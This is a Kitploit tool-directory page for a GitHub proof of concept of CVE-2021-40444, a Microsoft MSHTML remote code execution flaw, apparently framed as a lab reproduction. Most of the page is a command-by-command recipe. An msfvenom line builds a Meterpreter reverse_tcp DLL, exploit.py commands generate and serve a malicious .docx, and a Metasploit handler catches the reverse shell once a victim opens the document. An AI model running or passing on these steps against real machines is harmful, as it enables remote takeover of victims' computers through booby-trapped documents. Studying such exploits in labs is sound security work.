Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-40444-POC — An attempt to reproduce Microsoft MSHTML Remote Code Execution (RCE) Vulnerability and using Metasploit Framework. | Kitploit
Tools/GitHubGitHub/kagura-maru/cve-2021-40444-poc
Exploit FrameworksPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubkagura-maru/cve-2021-40444-poc

CVE-2021-40444-POC

An attempt to reproduce Microsoft MSHTML Remote Code Execution (RCE) Vulnerability and using Metasploit Framework.

View Repository
10134 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-40444-POC

An attempt to reproduce Microsoft MSHTML Remote Code Execution (RCE) Vulnerability using Metasploit Framework.

works best if not run in FlareVM

PREPARATION

Git Clone the repository from https://github.com/lockedbyte/CVE-2021-40444

Prepare the .dll template to be used later with msfvenom

msfvenom -p windows/meterpreter/reverse_tcp lhost=<SOURCE_IP> lport=<LISTENING_PORT> -f dll -o template.dll

Copy the recently produced template.dll into the folder test/ from the repository Give executable permission to the template.dll by chmod +x template.dll

Run the script to use the to be process into

template.dll
output
python3 exploit.py generate ~/test/template.dll http://<SOURCE IP>

LISTENER

The document will then be exported into the folder out/ and we can make a listener in our HTTP Port (Default is 80) python3 exploit.py host 80

Run metasploit with msfconsole -q use multi/handler set payload windows/meterpreter/reverse_tcp set lhost <SOURCE IP> run

PAYLOAD

Then we can send the document.docx to our vulnerable machine and execute the .docx

We will get response in the exploit.py terminal and also the lab is successful if we are able to spawn reverse tcp shell.

Download Tool